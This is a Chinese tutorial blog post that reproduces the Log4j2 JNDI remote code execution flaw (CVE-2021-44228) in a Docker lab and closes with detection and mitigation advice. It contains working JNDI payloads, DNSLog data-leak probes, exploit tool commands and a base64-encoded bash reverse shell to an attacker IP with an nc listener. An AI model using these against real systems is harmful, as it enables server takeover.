log4j2 远程代码执行漏洞复现(CVE-2021-44228)

写在前面

log4j 对应的是 CVE-2017-5645,即 Apache Log4j Server 反序列化命令执行漏洞;

log4j2 对应的是 CVE-2021-44228,即 log4j2 远程代码执行漏洞,通过 JNDI 注入实现;

CVE-2017-5645 比较久远因此我们这里不做演示,本篇博客主要介绍 CVE-2021-44228 的复现。

攻击机:kali Linux(192.168.249.128)

靶机:kali Linux(192.168.249.132)

目录

一、基础知识铺垫

1、什么是 log4j 和 log4j2

2、什么是 JNDI

二、漏洞原理

三、影响版本

四、环境搭建

五、漏洞验证

六、漏洞利用

1、JNDI 注入工具安装

2、工具用法

3、服务站点部署

4、开启端口监听

5、反弹shell

七、流量特征与防御措施

1、log4j2 漏洞流量特征

2、log4j2 漏洞防御措施


文章开始前给大家分享一个学习人工智能的网站,通俗易懂,风趣幽默

人工智能icon-default.png?t=N7T8https://www.captainbed.cn/myon/

 

~~~~~~~~~~~~ 正文开始 ~~~~~~~~~~~~

一、基础知识铺垫

1、什么是 log4j 和 log4j2

log4j 是 Apache 的一个开源日志库,是一个基于 Java 的日志记录框架,Log4j2 是 log4j 的后继者,其中引入了大量丰富的特性,可以控制日志信息输送的目的地为控制台、文件、GUI 组建等,被应用于业务系统开发,用于记录程序输入输出日志信息,log4j2 中存在JNDI注入漏洞,当程序记录用户输入的数据时,即可触发该漏洞,成功利用该漏洞可在目标服务器上执行任意代码。

2、什么是 JNDI

JNDI 是 Java Naming and Directory Interface 的缩写,是 Java 中用于访问各种命名和目录服务的API(应用程序编程接口) 。JNDI 提供了一种标准的方式来访问各种命名和目录服务,从指定的远程服务器获取并加载对象,其中常用的协议包括 RMI(远程方法调用)和 LDAP(轻量目录访问协议)。

二、漏洞原理

log4j2 在日志输出中,未对字符合法性进行严格的限制,执行了 JNDI 协议加载的远程恶意脚本,从而造成RCE。

详细过程分析:

log4j2 框架下的 lookup 查询服务提供了 {} 字段解析功能,传进去的值会被直接解析。

当用户输入信息时,应用程序中的 log4j2 组件会将信息记录到日志中,假设日志中含有语句${jndi:ldap:192.168.249.1:9001/poc.class},log4j2 就会去解析该信息,通过 JNDI 的 lookup() 方法去解析 URL:ldap:192.168.249.1:9001/poc.class,解析到 ldap,就会去 192.168.61.129:9001 的 ldap 服务找名为 poc.class 的资源,如果找不到则会去 http 服务中找,只要在 ldap 或者 http 中找到了 poc.class ,就会将资源信息返回到 JNDI 接口,进而返回给应用程序的 log4j2 组件,而 log4j2 组件会将其下载下来,然后发现 poc.class 是一个 .class 文件,就会去执行里面的代码,从而实现注入,我们就可以通过 poc.class 实现任意命令的执行。

示意图:

三、影响版本

受影响版本范围:2.0 ≤ Apache Log4j2 < 2.15.0-rc2

四、环境搭建

首先拉取靶场的最新镜像

(你自己需要先装好 docker)

docker pull vulfocus/log4j2-rce-2021-12-09:latest

开启容器

docker run -d -p 9001:8080 vulfocus/log4j2-rce-2021-12-09:latest

这里我是将靶场环境的 8080 端口映射到了本地的 9001(找一个未被占用的端口即可)

因为 8080 端口是靶场默认所在的位置,后面的 9001 为一个自定义的本地端口号

启用成功后,使用 docker ps 查看运行的容器

接下来我们直接访问本地的 9001 端口即可看到靶场环境

五、漏洞验证

首先使用 DNSLog 平台获取一个子域名

DNSLog PlatformDNSLog:DNSLog Platform

点击 Get SubDomin 

这里获取到的子域名为:7fprj5.dnslog.cn

使用该子域名,我们构造 payload:

${jndi:ldap://7fprj5.dnslog.cn}

点击靶场的 ?????

发现请求了文件hello,并且给参数 payload 传入了值 111

替换 payload 值为我们刚才构造的 payload,即:

http://127.0.0.1:9001/hello?payload=${jndi:ldap://7fprj5.dnslog.cn}

发现请求失败 

因为是 get 请求,很可能是对我们传入的内容进行了 URL 解码

因此我们先对 payload 进行 URL 编码后再传入:

${jndi:ldap://7fprj5.dnslog.cn}

URL 编码后为:

%24%7Bjndi%3Aldap%3A%2F%2F7fprj5.dnslog.cn%7D

 请求:

http://127.0.0.1:9001/hello?payload=%24%7Bjndi%3Aldap%3A%2F%2F7fprj5.dnslog.cn%7D

回显 ok

回到 DNSLog 平台,点击 Refresh Record 刷新记录

可以看到 DNSLog 平台成功接收到解析记录

接下来我们构造 payload 尝试获取 Java 版本:

${jndi:ldap://${sys:java.version}.7fprj5.dnslog.cn}

同样进行 URL 编码:

%24%7Bjndi%3Aldap%3A%2F%2F%24%7Bsys%3Ajava.version%7D.7fprj5.dnslog.cn%7D

传入 payload,回显 ok 

再次刷新记录,可以得出 sys:java.version 命令被执行了

成功获取到 Java 版本号为 1.8.0_312,证明确实存在 log4j2 远程代码执行漏洞

六、漏洞利用

为了方便后续的测试,这里我再开了一台 kali(192.168.249.132)作为靶机,按照我们前面四的环境搭建步骤再搭建了一个靶场环境,而我的 JNDI  注入工具装在另一台 kali(192.168.249.128)上,这台kali 则作为我们的攻击机。

搭建好后测试一下,可以正常访问到

1、JNDI 注入工具安装

首先安装 JNDI 注入工具:JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar

git clone https://github.com/welk1n/JNDI-Injection-Exploit.git

切换到 JNDI-Injection-Exploit 目录

cd JNDI-Injection-Exploit

编译安装,在该目录下执行如下命令

mvn clean package -DskipTests

关于 mvn 命令的安装与配置可以看我上一篇博客:

maven 的安装与配置(Command ‘mvn‘ not found)修改配置文件后新终端依旧无法识别到 mvn 命令-CSDN博客icon-default.png?t=N7T8https://myon6.blog.csdn.net/article/details/136558685?spm=1001.2014.3001.5502

编译安装完成后,我们会得到一个 jar 文件

位置在:/root/JNDI-Injection-Exploit/target/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar

在运行结果的最后有给出:

切换进入到 target 目录:

cd target

2、工具用法

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "想要执行的命令" -A "攻击机的ip"

3、服务站点部署

反弹 shell 到目标主机端口,这里以 7777 端口为例

bash -i >& /dev/tcp/192.168.249.128/7777 0>&1

对命令进行 base64 编码 (命令必须经过编码,不然无法实现)

编码可以使用如下网站:

Runtime.exec Payload Generater | AresX's Blog (ares-x.com)icon-default.png?t=N7T8https://ares-x.com/tools/runtime-exec其实就是将我们的命令换了一种写法,先进行 base64 编码后再解码

得到:

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjI0OS4xMjgvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}

将想要执行的命令替换成我们得到的 payload,以及填上我们的攻击机ip

利用 JNDI 注入工具把这个反弹 shell 命令部署到 LDAP 服务上

在 target 目录下,执行如下命令:

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjI0OS4xMjgvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}" -A "192.168.249.128"

这样我们就部署好了 RMI 和 LDAP 服务的站点,并且得到了 payload 路径

4、开启端口监听

再开一个终端,监听我们对应的端口(我这里的 payload 里为 7777)

nc -lvvp 7777

5、反弹shell

使用上述给出的 payload 路径构造完整 payload

比如:

${jndi:ldap://192.168.249.128:1389/h8sgrk}
${jndi:rmi://192.168.249.128:1099/c2kspf}

我们可以针对不同版本和不同情况使用不同的服务和不同的 payload

同样这里需要对 payload 进行 URL 编码后再传入

 JNDI 注入工具的终端显示如下:

查看刚才监听的端口:

已经建立连接,反弹 shell 成功,我们便可以执行想要执行的命令了

七、流量特征与防御措施

1、log4j2 漏洞流量特征

(1)恶意请求中包含 JNDI 协议地址:

攻击者通常会在 HTTP 请求或其他网络流量中插入包含 JNDI 协议地址的字符串,如"ldap://"、"rmi://"等。这些字符串会被log4j2解析为 JNDI 查找,从而导致远程代码执行。

(2)日志记录消息中包含可执行代码:

攻击者构造的恶意日志记录消息可能包含可执行的Java代码,如 JNDI 注入 payload 。这些代码会被 log4j2 解析和执行,从而触发远程代码执行漏洞。

(3)异常堆栈中出现与 JNDI 相关的类或方法:

在应用程序的异常堆栈中,可能会出现与JNDI相关的类或方法,如javax.naming.directory.InitialDirContext 等。这表明攻击者已经成功地利用了 log4j2 漏洞,执行了远程代码并导致异常。


(4)大量的异常日志记录: 

攻击者可能会尝试多次利用 log4j2 漏洞,因此在日志中可能会出现大量的异常日志记录。这些异常日志记录通常会包含与 JNDI 相关的内容,如 JNDI 协议地址或异常堆栈信息。

2、log4j2 漏洞防御措施

(1)设置 log4j2.formatMsgNoLookups=True:

这个设置将禁用 log4j2 中的消息查找(Lookups),这样可以防止恶意代码利用 JNDI 注入漏洞。通过设置此选项,log4j2 将不会解析消息中的变量或执行 JNDI 查找。


(2)对包含特定字符串的请求进行拦截:

监测应用程序的日志,如果发现其中包含"jndi:ldap://"、"jndi:rmi://"等可疑字符串,可以使用WAF(Web应用程序防火墙)或 IDS(入侵检测系统)等工具来拦截这些请求,从而阻止潜在的攻击。


(3)对系统进行合理配置,限制对外访问:

配置网络防火墙,限制系统对外部网络的访问,并阻止不必要的业务访问外网。


(4)升级 log4j2 组件到新的安全版本:

及时升级 log4j2 到最新的安全版本,以修复已知的漏洞并增强系统的安全性。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/439912.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

mysql的语法学习总结3(一些常见的问题)

执行后&#xff0c;MySQL 会重新加载授权表并更新权限。 FLUSH PRIVILEGES; 怎么检查自己的电脑端口3306有没有被占用&#xff1f; ESTABLISHED表示被占用&#xff0c;LISTENING表示端口正在被监听&#xff0c;22696是占用该端口的进程的PID&#xff08;进程标识符&#xff0…

羊大师揭秘,女性喝羊奶有什么好处

羊大师揭秘&#xff0c;女性喝羊奶有什么好处 女性喝羊奶有多种好处。首先&#xff0c;羊奶富含钙元素&#xff0c;有助于预防女性体内缺钙和老年女性骨质疏松&#xff0c;从而增强骨骼密度。其次&#xff0c;羊奶中的色氨酸和烟酸等成分有助于促进睡眠&#xff0c;改善睡眠质…

BUUCTF-MISC-[HDCTF2019]信号分析1

题目链接&#xff1a;BUUCTF在线评测 (buuoj.cn) 下载附件是一个WAV的文件&#xff0c;题目又叫做信号分析&#xff0c;用Adobe Audition 打开分析了 发现有很多长短不一样的信号&#xff0c;只需要分析一段 猜测长的是一短的为0 最后得到0101010101010101000000110 百度得知…

TMS智慧园区物流车辆管理系统:精确监控与高效运营的完美结合

在当今高速发展的物流行业中&#xff0c;效率和精确性是成功的关键。随着科技的不断进步&#xff0c;智慧园区物流车辆管理系统应运而生&#xff0c;为物流行业带来了革命性的变革。这些系统不仅提高了物流运作的效率&#xff0c;还为企业提供了更精确的监控和管理手段。接下来…

【OpenGL实现 03】纹理贴图原理和实现

目录 一、说明二、纹理贴图原理2.1 纹理融合原理2.2 UV坐标原理 三、生成纹理对象3.1 需要在VAO上绑定纹理坐标3.2 纹理传递3.3 纹理buffer生成 四、代码实现&#xff1a;五、着色器4.1 片段4.2 顶点 五、后记 一、说明 本篇叙述在画出图元的时候&#xff0c;如何贴图纹理图片…

NLP_文本张量表示方法_2(代码示例)

目标 了解什么是文本张量表示及其作用.文本张量表示的几种方法及其实现. 1 文本张量表示 将一段文本使用张量进行表示&#xff0c;其中一般将词汇为表示成向量&#xff0c;称作词向量&#xff0c;再由各个词向量按顺序组成矩阵形成文本表示. ["人生", "该&q…

【深度学习笔记】稠密连接网络(DenseNet)

注&#xff1a;本文为《动手学深度学习》开源内容&#xff0c;部分标注了个人理解&#xff0c;仅为个人学习记录&#xff0c;无抄袭搬运意图 5.12 稠密连接网络&#xff08;DenseNet&#xff09; ResNet中的跨层连接设计引申出了数个后续工作。本节我们介绍其中的一个&#xf…

LInux-多线程基础概念

文章目录 前言预备页表详解缺页中断页表的映射 一、多线程是什么&#xff1f;轻量级进程 二、Pthread库pthread_create 前言 从本章的多线程开始&#xff0c;我们开始进入Linux系统的尾声&#xff0c;所以&#xff0c;在学习多线程的过程中&#xff0c;我们也会逐步对之前的内…

第十五课 PCB保姆级规则设置(四)

1.常用的规则设置 2.设置完规则后&#xff0c;重新设置规则检查 将不设置的规则&#xff0c;不勾选 3.布线规则 &#xff08;1&#xff09;先走短线&#xff08;模块之内的线&#xff09; 模块之内的线需要连接&#xff0c;长线的话提前打孔&#xff08;占位置&#xff09;…

微信小程序开发系列(十五)·bind 绑定的事件(冒泡事件)、catch 绑定的事件(非冒泡事件)

目录 1. 事件分类 1.1 bind 绑定的事件&#xff08;冒泡事件&#xff09; 1.2 catch 绑定的事件&#xff08;非冒泡事件&#xff09; 1.3 代码 1. 事件分类 事件分为 冒泡事件 和 非冒泡事件&#xff1a; 冒泡事件&#xff1a;当一个组件的事件被触发后&#xff0c;…

浅谈字典攻击

一、前言 字典攻击是一种常见的密码破解方法&#xff0c;它使用预先编制的字典文件作为攻击字典&#xff0c;通过尝试猜测密码的方式来破解密码。下面是一个关于字典攻击的博客&#xff0c;希望能够为您了解字典攻击提供帮助。 二、字典攻击概述 字典攻击是一种密码破解方法&…

微信小程序 弹窗禁止底部页面滚动

解决方法&#xff1a; 在弹窗上给添加catchtouchmove catchtouchmovereturn

个人商城系统开源(展示宣传)

原文地址&#xff1a;个人商城系统开源&#xff08;展示宣传&#xff09; - Pleasure的博客 下面是正文内容&#xff1a; 前言 由于近期实在没有什么话题可写和一些有趣的项目教程可以分享。所以我只能决定将我自己亲手编写的一个迷你商城系统进行开源。 也就是放在我博客右边…

VR虚拟生态探索介绍|元宇宙文旅|VR设备价格

虚拟现实&#xff08;VR&#xff09;虚拟生态探索是一种通过VR技术让用户体验并探索虚拟环境的活动。在这样的环境中&#xff0c;用户可以通过头戴式显示器和其他感知设备沉浸在一个虚拟的世界中&#xff0c;仿佛身临其境。 在VR虚拟生态探索中&#xff0c;用户可以探索各种不同…

数据库备份.....

一.环境准备 数据库备份&#xff0c;数据库为school&#xff0c;素材如下 >create database school; >use school1.创建student和score表CREATE TABLE student ( id INT(10) NOT NULL UNIQUE PRIMARY KEY , name VARCHAR(20) NOT NULL , sex VARCHAR(4) , bi…

【PCL】(二十五)基于Min-Cut的点云分割

Min-Cut Based Segmentation 提出这个方法的论文&#xff1a;Min-Cut Based Segmentation of Point Clouds 最大流最小割问题 min_cut_segmentation.cpp #include <iostream> #include <vector> #include <pcl/io/pcd_io.h> #include <pcl/point_types…

基于ZEM系列台式扫描电镜和EDS能谱仪的岩石元素成分分析研究

上一期里我们对几种不同种类的岩石在特定作用下的破坏特征进行了表征&#xff0c;感兴趣的同学可以阅读《从宏观到微观——泽攸科技ZEM系列台式扫描电镜在岩石分析中的应用》。岩石是地球表层和地壳的基本组成物质&#xff0c;其成因和成岩过程复杂多样&#xff0c;岩石的元素组…

PythonStudio 控件使用常用方式(十)TLabel和TLinkLabel

PythonStudio是一个极强的开发Python的IDE工具&#xff0c;它使用的是Delphi的控件&#xff0c;常用的内容是与Delphi一致的。但是相关文档并一定完整。现在我试试能否逐步把它的控件常用用法写一点点&#xff0c;也作为PythonStudio的参考。 Tlabel是最常用的控件&#xff0c…

【论文阅读】Segment Anything论文梳理

Abstract 我们介绍了Segment Anything&#xff08;SA&#xff09;项目&#xff1a;新的图像分割任务、模型和数据集。高效的数据循环采集&#xff0c;使我们建立了迄今为止最大的分割数据集&#xff0c;在1100万张图像中&#xff0c;共超过10亿个掩码。 该模型被设计和训练为可…

【最详细的python教程】Python基本数据类型及运算符

&#x1f383;Python基本数据类型 &#x1f38b;整数** 整数是表述整数的数值&#xff0c;没有小数部分。在Python中&#xff0c;整数包括正整数、负整数和0&#xff0c;在Python中数值超过计算机自身的计算功能时会自动转用高精度计算。整数类型包括二进制、八进制、十进制和…